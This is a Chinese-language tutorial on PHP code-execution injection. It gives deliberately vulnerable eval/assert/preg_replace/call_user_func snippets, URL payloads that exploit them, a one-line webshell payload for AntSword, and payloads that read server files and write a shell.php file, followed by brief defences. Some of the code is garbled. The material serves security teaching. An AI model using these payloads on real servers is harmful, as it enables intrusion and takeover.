1.大致介绍:
PHP代码执行注入(web方面)是指应用程序过滤不严格,用户可以通过请求将代码注入到应用中执行。代码执行类似于SQL注入漏洞。代码执行是可以把代码注入到应用中最终由服务器运行它,这样的漏洞如果没有特殊的过滤,相当于直接有了一个web后门的存在。
2.漏洞的危害:
可以通过代码执行漏洞继承web用户权限,执行任意代码。如果具有服务器没有正确配置,用户权限比较高的话,我们可以读写目标服务器的任意文件内容,甚至控制整个网站以及服务器。PHP中有很多函数和语句都会造成PHP
代码执行漏洞。
3.原因:
1.程序中含有可以执行的php代码的函数或者语言结构。
2.传入第一点的参数,客户端可控,可以直接修改或影响。
4.相关函数:
----eval()会将字符串当作php代码执行。
例如:
<?php
if(isset($_REQUEST['code'])){
@$str=$_REQUEST['code'];
eval($str);
}
?>
---- 补充
- //在url地址框上的最后要加上?code=phpinfo();
//REQUEST:预定义超全局数组变量 包含GET POST COOKIE 传参
//如果在url地址栏的后边加上code=${print(123456)};(也是同样可以执行的)
code=1;phpinfo(); print(123456)(可以执行多条函数)
----assert()会将字符串当作php代码执行。
例如:
<?php
if(isset($_REQUEST['code'])){
@$str=$_REQUEST['code'];
assert($str);
}
?>
--直接让code=phpinfo() 就可以输出phpinfo()
----preg_replace() 对字符串进行正则处理
例如:
<?php
$str=preg_replace('/a/','b',"anhbadadb");
echo $str
?>
--意思是在"anhbadadb"中搜索a 并用b来替换掉...
当第一个参数的值存在/e 修饰时 第二个参数 的值会被当作php代码来执行
例如:
<?php
if(isset($_GET['code'])){
@$str=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1',$code);
}
?>
--\\1代表正则第一此匹配的内容 code=[phpinfo()] 最后输出的是phpinfo界面
–https://www.runoob.com/regexp/regexp-syntax.html–正则表达解析
----call_user_func()等函数
都有调用去他函数的功能,其中的一个参数作为要调用的函 数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数作为回调函数的参数。
例如:
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}
?>
--在url地址框中输入参数?fun=assert¶=phpinfo() 就会输出phpinfo()
----$
a($
b)动态函数
由于php的特性的原因,php的函数支持直接由拼接的方式调用,这直接导致了php的安全上的控制又加大了难度。不少知名程序也用到了动态函数的方法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
例如:
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
?>
-- 在url地址框输入?a=assert&b=phpinfo() 就会输出phpinfo()
5.代码执行漏洞的方式有很多:
---- 直接获取shell 例如:假如存在assert函数 有code参数 就可以利用一句话木code=@eval($_REQUEST[‘1’]) 可以使用蚁剑直接连接
-----获取文件的绝对路径
__
FILE__
(注意是双下划线)是php预定义常量,其含义是当前文件的路径。
例如:在url地址栏输入提交代码code=print(__
FILE__)
----我们可以利用file_get_contents()函数读取服务器任意文件,前提是指导目标文件的路径和读取权限。
例如:
读取本地host文件
提交代码: ?code=var_dump或者是print(file_get_contents(‘c:\windows\systenm32\divers\etc\hosts’))如果要查看当前文件的内容可以写入code=var_dump(file_get_contents(’./加上文件名’))
写入文件是file_put_contents函数 我们可以利用函数写入文件,前提是知道可写目录。
例如: 提交代码? code=var_dump(file_put_contents( P O S T [ ′ 1 ′ ] , _POST['1'], POST[′1′],_POST[‘2’]))
我们这时需要利用到hackbar 通过post方式提交参数:
1=shell.php&2=<?php phpinfo()?>
意思为创建一个shell.php文件 里面写入<?php phpinfo()?>
6.防御方法:
1.尽量不要使用eval等函数 eval是php当中的一种语言结构
2.如果使用的话一定要进行严格的过滤
3.preg_replace 放弃使用/e修饰符
4.disable_functions=assert(禁用掉assert函数) 就是在服务器端禁用